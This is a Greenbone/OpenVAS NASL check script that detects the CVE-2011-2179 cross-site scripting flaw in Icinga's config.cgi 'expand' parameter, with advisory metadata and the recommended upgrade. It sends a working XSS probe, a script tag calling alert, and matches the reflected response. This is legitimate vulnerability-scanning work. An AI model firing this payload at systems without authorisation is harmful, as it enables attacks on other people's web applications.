Icinga 'expand' Parameter XSS Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:icinga:icinga";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801895");
  script_version("2025-09-05T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
  script_cve_id("CVE-2011-2179");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("Icinga 'expand' Parameter XSS Vulnerability");

  script_xref(name:"URL", value:"https://dev.icinga.org/issues/1605");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/518218");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101904/SSCHADV2011-005.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_icinga_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("icinga/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");
  script_tag(name:"affected", value:"Icinga versions 1.4.0 and prior.");
  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  passed via the 'expand' parameter in cgi-bin/config.cgi, which allows attackers
  to execute arbitrary HTML and script code on the web server.");
  script_tag(name:"solution", value:"Upgrade to Icinga versions 1.4.1 or later.");
  script_tag(name:"summary", value:"Icinga is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://www.icinga.org/download/");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if (dir == "/") dir = "";

url = dir + "/cgi-bin/config.cgi?type=command&expand=<script>" +
            "alert(String.fromCharCode(88,83,83))</script>";

if(http_vuln_check(port:port, url:url, check_header: TRUE,
   pattern:"><script>alert\(String.fromCharCode\(88,83,83\)\)</script>"))
{
  security_message(port:port);
  exit(0);
}

exit(99);